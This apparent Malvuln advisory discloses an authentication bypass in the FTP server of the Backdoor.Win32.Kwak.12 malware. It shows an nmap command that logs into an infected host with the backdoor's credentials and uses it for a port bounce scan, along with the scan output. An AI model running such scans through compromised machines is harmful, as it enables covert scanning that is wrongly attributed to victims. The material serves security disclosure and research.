Backdoor.Win32.Kwak.12 Authentication Bypass / Man-In-The-Middle

Backdoor.Win32.Kwak.12 malware suffers from bypass and man-in-the-middle vulnerabilities.

MD5 | 91be9bd27e99d03cc1a518b4174d4eb9

Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Kwak.12
Vulnerability: Port Bounce Scan
Description: The backdoor runs an FTP server that listens on TCP port 37885. Third-party adversaries can abuse the server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you. This is easily accomplished as the malware also suffers from a authentication bypass issue reference MVID-2021-0147.
Type: PE32
MD5: c25393545e5ead3a35996ef9a887bd34
Vuln ID: MVID-2021-0148
Dropped files:
Disclosure: 03/25/2021

Scanning ports 23,79,80 using Nmaps port bounce feature.

nmap -n -Pn -b pbarbar:[email protected]:37885 -p23,79,80 -v
Starting Nmap 7.80 ( ) at 2021-03-25 18:47 Pacific Daylight Time
Resolved FTP bounce attack proxy to (
Attempting connection to ftp://pbarbar:[email protected]:37885
Connected:220 Enter Login
Computer Name: DESKTOP-2X3IHHP
Local IP:
User On This Computer: victim
Drive C: 14.97 Gb Free

Login credentials accepted by FTP server!
Initiating Bounce Scan at 18:47
Discovered open port 80/tcp on
Completed Bounce Scan at 18:47, 2.10s elapsed (3 total ports)
Nmap scan report for
Host is up.

23/tcp closed telnet
79/tcp closed finger
80/tcp open http

Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 11.28 seconds

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